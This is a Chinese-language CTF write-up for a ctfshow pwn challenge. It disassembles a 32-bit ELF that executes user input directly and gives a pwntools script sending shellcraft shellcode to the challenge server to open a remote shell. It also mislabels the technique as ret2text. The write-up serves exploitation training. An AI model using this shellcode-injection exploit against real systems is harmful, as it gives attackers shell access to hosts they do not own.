正文

题面提示

题目给出提示可以使用shellcraft脚本生成shell。

分析pwn文件

使用exeinfope查看可执行文件类型。发现是32位elf文件

使用IDA对pwn文件反编译。

看到hint:

1
Hint  : NX disabled & Has RWX segments

结合题目提示发现可能是ret2text的题型。

进入ctfshow函数中,IDA无法生成该函数的伪代码,其汇编如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
buf= byte ptr -88h
var_4= dword ptr -4

push ebp
mov ebp, esp
push ebx
sub esp, 84h
call __x86_get_pc_thunk_bx
add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
sub esp, 4
push 100h ; nbytes
lea eax, [ebp+buf]
push eax ; buf
push 0 ; fd
call _read
add esp, 10h
sub esp, 0Ch
lea eax, [ebp+buf]
push eax ; s
call _puts
add esp, 10h
lea eax, [ebp+buf]
call eax
nop
mov ebx, [ebp+var_4]
leave
retn
  • 发现该函数用_read读入了buf字符串,然后用_puts函数输出了buf字符串。
  • 最关键的是:第四个call直接将buf字符串(数据段)当作代码段执行

确定是ret2text的题型,现在只需要输入shell执行代码的机器码即可

构造payload

1
2
3
4
5
6
7
from pwn import *

p = remote("pwn.challenge.ctf.show", "28174")

p.sendline(asm(shellcraft.sh()))

p.interactive()

拿到shell

拿到flag